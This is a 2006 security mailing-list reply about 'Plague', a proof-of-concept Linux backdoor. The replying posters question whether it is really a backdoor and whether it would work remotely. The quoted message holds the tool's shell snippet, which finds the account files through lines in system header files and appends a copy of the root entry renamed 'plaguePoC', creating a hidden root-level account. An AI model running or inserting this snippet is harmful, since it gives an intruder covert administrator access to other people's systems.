Re: Plague Proof of Concept Linux backdoor

[hijacker () oldum net]

even if they have ssh access, there is still nothing they can do, except
to create two files in there $HOME directories containing expressions from
paths.h and sysexits.h ?

Why would that be considered a backdoor?

Regards,
-Nikolay Kichukov


> On 10/22/06, J. Oquendo <sil () infiltrated net> wrote:
> > Plague is an odd proof of concept backdoor keeping
> > tool based on the premise of using existing system
> > files and commands to keep and maintain a backdoor
> > on Linux systems. I could have modified this for
> > BSD, Solaris, etc., but I didn't feel like doing
> > the work...
> >
> > http://www.infiltrated.net/plague
>
> (from the link)
>
> if [ -e /usr/include/paths.h ]
>
> then
>
>         file=`awk 'NR==59 {gsub(/"/,"");print $3}' /usr/include/paths.h`
>         sed -n '1p' $file|sed 's/root/plaguePoC/g' >> $file
>         file2=`awk 'NR==74 {print $8}' /usr/include/sysexits.h`
>         sed -n '1p' $file2|sed 's/root/plaguePoC/g' >> $file2
>
> fi
>
> --------------------------------
>
> So this backdoor wouldnt work remotely, correct? You would need to add
> the user to the people allowed to ssh in, and poke a hole for ssh in
> the firewall./?
>
> -JP
>
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